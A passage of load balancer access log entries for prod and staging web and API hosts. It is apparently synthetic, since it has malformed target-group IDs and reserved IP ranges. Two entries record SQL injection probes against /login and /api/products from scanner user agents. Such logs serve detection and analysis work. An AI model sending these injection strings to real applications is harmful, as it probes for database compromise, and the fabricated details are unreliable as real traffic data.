/api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbd0-fd71a911b38d4dab92b34aea" "prod-api-alb.example.com" "-" 6 2024-11-01T02:34:40.230280Z "forward" "-" "-" "10.0.244.91:443" "200" "-" "-" -http 2024-11-01T02:34:40.816972Z staging-alb 135.252.103.6:53015 110.162.148.17:8080 0.023873 0.374102 0.118324 200 200 914 11091 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbd0-4bea482444b74cd8a002cb8d" "staging-alb.example.com" "-" 3 2024-11-01T02:34:40.816972Z "forward" "-" "-" "110.162.148.17:8080" "200" "-" "-" -https 2024-11-01T02:34:42.072006Z staging-alb 238.194.66.240:24384 20.110.251.156:443 0.030728 0.702690 0.131508 200 200 565 2465 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbd2-b24d6f11ff624806bf070185" "staging-alb.example.com" "-" 9 2024-11-01T02:34:42.072006Z "forward" "-" "-" "20.110.251.156:443" "200" "-" "-" -https 2024-11-01T02:34:43.908452Z prod-web-alb 33.237.42.73:58683 10.0.193.230:443 0.082813 0.467601 0.001991 302 302 241 11680 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbd3-6560ef6e60c54dd0b165a76b" "prod-web-alb.example.com" "-" 5 2024-11-01T02:34:43.908452Z "forward" "-" "-" "10.0.193.230:443" "302" "-" "-" -https 2024-11-01T02:34:45.524844Z prod-web-alb 199.114.36.60:39957 10.0.67.187:443 0.068027 0.221080 0.096117 404 404 320 2778 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbd5-df03063fc67447efadaf9e60" "prod-web-alb.example.com" "-" 8 2024-11-01T02:34:45.524844Z "forward" "-" "-" "10.0.67.187:443" "404" "-" "-" -https 2024-11-01T02:34:45.873520Z prod-api-alb 214.6.66.135:48234 10.0.198.20:443 0.040831 0.113445 0.078911 200 200 126 12335 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbd5-0986fbd2721b41a990942838" "prod-api-alb.example.com" "-" 1 2024-11-01T02:34:45.873520Z "forward" "-" "-" "10.0.198.20:443" "200" "-" "-" -https 2024-11-01T02:34:47.140380Z prod-api-alb 167.63.89.51:40191 10.0.196.90:443 0.071686 0.151700 0.097385 200 200 464 3520 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbd7-5b8706fe03f04518bd92e392" "prod-api-alb.example.com" "-" 5 2024-11-01T02:34:47.140380Z "forward" "-" "-" "10.0.196.90:443" "200" "-" "-" -https 2024-11-01T02:34:48.947417Z prod-web-alb 130.236.14.107:33736 10.0.141.211:443 0.079527 0.144258 0.010999 302 302 385 4413 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbd8-a2e7cae0e1ac407194dfd13c" "prod-web-alb.example.com" "-" 10 2024-11-01T02:34:48.947417Z "forward" "-" "-" "10.0.141.211:443" "302" "-" "-" -https 2024-11-01T02:34:50.552609Z prod-api-alb 151.235.65.53:27384 10.0.160.194:443 0.074539 0.263232 0.063421 200 200 387 9185 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbda-a09a3ef222b04c749d2a2c55" "prod-api-alb.example.com" "-" 1 2024-11-01T02:34:50.552609Z "forward" "-" "-" "10.0.160.194:443" "200" "-" "-" -https 2024-11-01T02:34:51.518387Z prod-web-alb 193.27.228.59:24513 10.0.182.239:443 0.008618 0.491144 0.045409 500 500 182 14868 "GET /login?id=1'-- HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbdb-03498907f4c4457c89a507ae" "-" "-" 5 2024-11-01T02:34:51.518387Z "forward" "-" "-" "10.0.182.239:443" "500" "-" "-" -https 2024-11-01T02:34:53.051098Z prod-api-alb 72.198.179.209:32055 10.0.21.74:443 0.029915 0.464779 0.076722 200 200 167 12820 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbdd-0d39019b2eeb4949a64479d8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:53.051098Z "forward" "-" "-" "10.0.21.74:443" "200" "-" "-" -https 2024-11-01T02:34:53.939329Z prod-api-alb 61.90.49.13:56642 10.0.41.43:443 0.006936 0.137102 0.075013 404 404 253 5621 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbdd-9b917fe4686e43bca90a2be2" "prod-api-alb.example.com" "-" 7 2024-11-01T02:34:53.939329Z "forward" "-" "-" "10.0.41.43:443" "404" "-" "-" -http 2024-11-01T02:34:54.307589Z staging-alb 173.104.109.20:10937 113.144.155.5:80 0.130139 0.298254 0.089707 200 200 994 14058 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbde-1a44a5fff0c748659324b275" "staging-alb.example.com" "-" 9 2024-11-01T02:34:54.307589Z "forward" "-" "-" "113.144.155.5:80" "200" "-" "-" -https 2024-11-01T02:34:55.563886Z prod-api-alb 235.166.41.150:14821 10.0.60.157:443 0.096490 0.202509 0.048753 200 200 313 11742 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbdf-d1baa45a5f2b4351b471e1b5" "prod-api-alb.example.com" "-" 5 2024-11-01T02:34:55.563886Z "forward" "-" "-" "10.0.60.157:443" "200" "-" "-" -https 2024-11-01T02:34:57.555250Z staging-alb 162.199.231.9:61536 173.198.226.22:80 0.002622 0.581718 0.149936 301 301 790 10451 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbe1-6a47e3ef4d3f416e967213c1" "staging-alb.example.com" "-" 3 2024-11-01T02:34:57.555250Z "forward" "-" "-" "173.198.226.22:80" "301" "-" "-" -https 2024-11-01T02:34:59.349992Z prod-web-alb 4.179.215.183:42675 10.0.139.107:443 0.080724 0.212682 0.045693 200 200 76 4912 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbe3-bf7e933212914c04b11d4e48" "prod-web-alb.example.com" "-" 4 2024-11-01T02:34:59.349992Z "forward" "-" "-" "10.0.139.107:443" "200" "-" "-" -https 2024-11-01T02:34:59.825113Z prod-api-alb 12.218.192.69:43361 10.0.225.181:443 0.064659 0.415249 0.009964 302 302 545 3291 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbe3-a85cc9d8043c41c3923bce11" "prod-api-alb.example.com" "-" 6 2024-11-01T02:34:59.825113Z "forward" "-" "-" "10.0.225.181:443" "302" "-" "-" -http 2024-11-01T02:35:01.542936Z staging-alb 75.205.243.122:49809 65.90.70.248:8080 0.024187 0.666161 0.124344 302 302 833 6549 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbe5-5ee83f533b6f47cea6c0c14b" "-" "-" 2 2024-11-01T02:35:01.542936Z "forward" "-" "-" "65.90.70.248:8080" "302" "-" "-" -https 2024-11-01T02:35:02.017276Z prod-web-alb 46.159.242.5:40516 10.0.15.58:443 0.075328 0.356412 0.020111 200 200 461 1185 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbe6-419b7c4f37994fc5a4ccb0e8" "prod-web-alb.example.com" "-" 1 2024-11-01T02:35:02.017276Z "forward" "-" "-" "10.0.15.58:443" "200" "-" "-" -http 2024-11-01T02:35:02.384011Z staging-alb 171.3.62.205:63046 216.201.187.180:80 0.055405 0.552489 0.095596 200 200 861 13303 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbe6-3c22470acff742e38beea38d" "staging-alb.example.com" "-" 3 2024-11-01T02:35:02.384011Z "forward" "-" "-" "216.201.187.180:80" "200" "-" "-" -https 2024-11-01T02:35:02.841557Z prod-web-alb 55.38.213.57:53562 10.0.20.184:443 0.092343 0.099813 0.050518 301 301 707 1428 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbe6-ca1fb164dd1843aab69b8bcd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:02.841557Z "forward" "-" "-" "10.0.20.184:443" "301" "-" "-" -https 2024-11-01T02:35:03.654672Z staging-alb 4.231.247.27:57902 138.247.162.12:80 0.020107 0.609685 0.014489 302 302 415 14059 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbe7-74703845b0eb42228832cafc" "staging-alb.example.com" "-" 2 2024-11-01T02:35:03.654672Z "forward" "-" "-" "138.247.162.12:80" "302" "-" "-" -https 2024-11-01T02:35:04.514702Z prod-web-alb 31.171.29.26:10730 10.0.241.138:443 0.018677 0.184126 0.072121 404 404 132 4445 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbe8-da23a80c3dea4dfab049d819" "prod-web-alb.example.com" "-" 0 2024-11-01T02:35:04.514702Z "forward" "-" "-" "10.0.241.138:443" "404" "-" "-" -https 2024-11-01T02:35:05.308103Z prod-api-alb 104.115.167.135:13329 10.0.87.37:443 0.069730 0.197920 0.010305 200 200 233 9837 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbe9-2a47dfd7e8b041feab68cfc4" "prod-api-alb.example.com" "-" 7 2024-11-01T02:35:05.308103Z "forward" "-" "-" "10.0.87.37:443" "200" "-" "-" -http 2024-11-01T02:35:06.087477Z staging-alb 76.215.109.173:34525 95.7.152.22:8080 0.045568 0.098127 0.058709 404 404 793 3439 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbea-714fc23f5a1c41d9ac6c082f" "staging-alb.example.com" "-" 0 2024-11-01T02:35:06.087477Z "forward" "-" "-" "95.7.152.22:8080" "404" "-" "-" -https 2024-11-01T02:35:07.957464Z prod-api-alb 185.92.134.190:23311 10.0.43.52:443 0.071693 0.117267 0.007436 200 200 422 10036 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbeb-efbf853f608f419eaa1b0c76" "prod-api-alb.example.com" "-" 9 2024-11-01T02:35:07.957464Z "forward" "-" "-" "10.0.43.52:443" "200" "-" "-" -https 2024-11-01T02:35:08.181439Z prod-api-alb 164.188.118.60:18132 10.0.189.183:443 0.035758 0.233760 0.041528 302 302 755 10654 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbec-0945644c42154de797694f16" "prod-api-alb.example.com" "-" 1 2024-11-01T02:35:08.181439Z "forward" "-" "-" "10.0.189.183:443" "302" "-" "-" -http 2024-11-01T02:35:08.392934Z staging-alb 186.215.113.176:57012 249.131.204.244:8080 0.040100 0.172578 0.054188 200 200 170 11631 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbec-27fe8bcc489c472185a2e653" "staging-alb.example.com" "-" 3 2024-11-01T02:35:08.392934Z "forward" "-" "-" "249.131.204.244:8080" "200" "-" "-" -https 2024-11-01T02:35:09.228860Z prod-api-alb 217.31.225.103:25123 10.0.1.68:443 0.008615 0.301558 0.032712 302 302 907 8471 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbed-b82a745554d749ba9a59dbd9" "prod-api-alb.example.com" "-" 0 2024-11-01T02:35:09.228860Z "forward" "-" "-" "10.0.1.68:443" "302" "-" "-" -https 2024-11-01T02:35:10.033140Z staging-alb 18.196.180.99:44240 5.60.18.212:80 0.022100 0.080120 0.140371 301 301 960 8863 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbee-51af8a4acc1e44bf9b148275" "staging-alb.example.com" "-" 3 2024-11-01T02:35:10.033140Z "forward" "-" "-" "5.60.18.212:80" "301" "-" "-" -https 2024-11-01T02:35:11.677116Z prod-api-alb 223.5.69.11:58741 10.0.194.10:443 0.030090 0.129882 0.003892 200 200 945 10033 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbef-f8b5029e6f1e48cfb39ae14e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:35:11.677116Z "forward" "-" "-" "10.0.194.10:443" "200" "-" "-" -https 2024-11-01T02:35:13.157166Z prod-api-alb 186.217.23.118:27414 10.0.99.9:443 0.050529 0.194403 0.067174 200 200 580 380 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf1-08199ead9de943e189a7c11d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:13.157166Z "forward" "-" "-" "10.0.99.9:443" "200" "-" "-" -https 2024-11-01T02:35:14.642777Z prod-api-alb 71.81.212.6:22370 10.0.147.111:443 0.079812 0.170087 0.036937 200 200 431 10684 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf2-007f0770e6644118b446f1e3" "prod-api-alb.example.com" "-" 8 2024-11-01T02:35:14.642777Z "forward" "-" "-" "10.0.147.111:443" "200" "-" "-" -http 2024-11-01T02:35:15.110026Z staging-alb 137.125.183.173:38596 4.55.11.125:443 0.108631 0.253653 0.035775 200 200 923 8144 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbf3-dd2a2fff63594cdf9af56f58" "staging-alb.example.com" "-" 7 2024-11-01T02:35:15.110026Z "forward" "-" "-" "4.55.11.125:443" "200" "-" "-" -https 2024-11-01T02:35:16.651025Z prod-api-alb 89.230.76.34:62134 10.0.66.87:443 0.029492 0.075329 0.085281 301 301 722 6223 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf4-52d8d273d84147ab98e0d494" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:16.651025Z "forward" "-" "-" "10.0.66.87:443" "301" "-" "-" -https 2024-11-01T02:35:18.092790Z prod-api-alb 147.29.125.172:36118 10.0.188.160:443 0.063423 0.491460 0.003282 200 200 21 9585 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbf6-8fc4c56f301b4258bd40cbac" "prod-api-alb.example.com" "-" 9 2024-11-01T02:35:18.092790Z "forward" "-" "-" "10.0.188.160:443" "200" "-" "-" -https 2024-11-01T02:35:19.882785Z staging-alb 142.88.17.233:53683 169.157.54.225:8080 0.046858 0.086682 0.106636 200 200 134 10239 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbf7-175fbb6d3aa148da93433e3c" "staging-alb.example.com" "-" 10 2024-11-01T02:35:19.882785Z "forward" "-" "-" "169.157.54.225:8080" "200" "-" "-" -https 2024-11-01T02:35:21.361959Z prod-api-alb 137.68.40.101:24030 10.0.192.36:443 0.093881 0.499842 0.022054 404 404 751 3900 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf9-d92104cfc14d4a25996e368d" "prod-api-alb.example.com" "-" 6 2024-11-01T02:35:21.361959Z "forward" "-" "-" "10.0.192.36:443" "404" "-" "-" -https 2024-11-01T02:35:22.247926Z staging-alb 105.41.180.176:51648 197.89.165.189:8080 0.067542 0.518435 0.069345 404 404 33 14105 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbfa-c1cfe94f8d844f20a3316cb8" "staging-alb.example.com" "-" 10 2024-11-01T02:35:22.247926Z "forward" "-" "-" "197.89.165.189:8080" "404" "-" "-" -https 2024-11-01T02:35:22.901815Z prod-web-alb 205.115.102.45:48237 10.0.7.171:443 0.073414 0.488375 0.050556 200 200 418 268 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbfa-ff1043ceb4fb495e9bf970f7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:35:22.901815Z "forward" "-" "-" "10.0.7.171:443" "200" "-" "-" -http 2024-11-01T02:35:23.318427Z staging-alb 248.12.129.85:15761 79.51.231.60:8080 0.135986 0.227196 0.051403 301 301 871 5810 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbfb-cb381b25c2a14de4b637e5b4" "staging-alb.example.com" "-" 9 2024-11-01T02:35:23.318427Z "forward" "-" "-" "79.51.231.60:8080" "301" "-" "-" -https 2024-11-01T02:35:24.877650Z prod-web-alb 93.85.129.132:37749 10.0.205.67:443 0.038892 0.379756 0.037361 200 200 726 2759 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbfc-c94ddf0913484a35a079e898" "prod-web-alb.example.com" "-" 0 2024-11-01T02:35:24.877650Z "forward" "-" "-" "10.0.205.67:443" "200" "-" "-" -https 2024-11-01T02:35:26.079406Z staging-alb 54.72.216.73:29319 252.130.90.70:8080 0.043011 0.538493 0.067104 301 301 150 5508 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbfe-e9a67660e815485f9d9dd7bf" "staging-alb.example.com" "-" 3 2024-11-01T02:35:26.079406Z "forward" "-" "-" "252.130.90.70:8080" "301" "-" "-" -https 2024-11-01T02:35:26.803373Z prod-api-alb 126.27.9.173:62919 10.0.252.64:443 0.086620 0.312265 0.077299 200 200 605 3603 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbfe-953243985d3d46f1b4108601" "prod-api-alb.example.com" "-" 0 2024-11-01T02:35:26.803373Z "forward" "-" "-" "10.0.252.64:443" "200" "-" "-" -https 2024-11-01T02:35:27.118062Z prod-api-alb 173.88.75.168:30884 10.0.221.70:443 0.001837 0.349146 0.091804 200 200 444 5342 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbff-def1c495546141d0846185d0" "-" "-" 3 2024-11-01T02:35:27.118062Z "forward" "-" "-" "10.0.221.70:443" "200" "-" "-" -https 2024-11-01T02:35:28.837111Z prod-web-alb 48.254.217.126:46569 10.0.209.175:443 0.028249 0.045604 0.009918 301 301 770 14507 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc00-0b81e22ccafb48fe8d51109f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:35:28.837111Z "forward" "-" "-" "10.0.209.175:443" "301" "-" "-" -https 2024-11-01T02:35:29.323742Z prod-api-alb 205.126.28.130:13133 10.0.250.203:443 0.012865 0.311910 0.005643 404 404 823 3327 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc01-b02045b2bf2848c1bd6c0c6f" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:29.323742Z "forward" "-" "-" "10.0.250.203:443" "404" "-" "-" -https 2024-11-01T02:35:30.717043Z prod-api-alb 185.181.178.132:11655 10.0.94.229:443 0.043127 0.498313 0.045724 403 403 384 1225 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 